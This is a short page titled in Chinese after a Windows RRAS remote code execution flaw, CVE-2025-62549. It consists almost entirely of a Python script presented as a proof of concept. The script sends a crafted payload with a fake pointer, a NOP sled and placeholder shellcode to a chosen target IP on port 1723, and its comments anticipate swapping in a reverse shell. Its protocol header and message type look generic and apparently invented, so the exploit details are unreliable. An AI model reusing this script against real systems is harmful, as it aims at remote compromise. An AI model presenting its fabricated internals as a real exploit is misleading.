CVE-2025-62549 Windows RRAS不受信任指针解引用远程代码执行漏洞

# CVE-2025-62549 PoC - Windows RRAS Untrusted Pointer Dereference # This is a demonstration code for educational purposes only import socket import struct import sys def create_rras_exploit_payload(): """ Create a malicious payload to trigger untrusted pointer dereference in Windows RRAS service """ # RRAS protocol header header = b'\x00\x00' # Protocol version header += struct.pack('<H', 0x0001) # Message type (exploit trigger) header += struct.pack('<I', 0x00000000) # Request ID # Malicious pointer value that will cause untrusted dereference # This pointer value is carefully chosen to point to controlled memory malicious_ptr = struct.pack('<Q', 0x4141414141414141) # Controllable address # Padding to reach the vulnerable code path padding = b'\x90' * 100 # Shellcode placeholder (would be replaced with actual meterpreter/reverse shell) shellcode = b'\xCC' * 200 # INT3 for debugging payload = header + malicious_ptr + padding + shellcode return payload def send_exploit(target_ip, target_port=1723): """ Send the exploit payload to target RRAS service Args: target_ip: Target system IP address target_port: RRAS service port (default: 1723 for PPTP) """ try: print(f"[*] Creating exploit payload for CVE-2025-62549") payload = create_rras_exploit_payload() print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)") sock.send(payload) print(f"[*] Payload sent, waiting for response...") response = sock.recv(1024) print(f"[*] Received response: {len(response)} bytes") sock.close() print("[*] Exploit sent successfully") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_62549_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1723 send_exploit(target, port)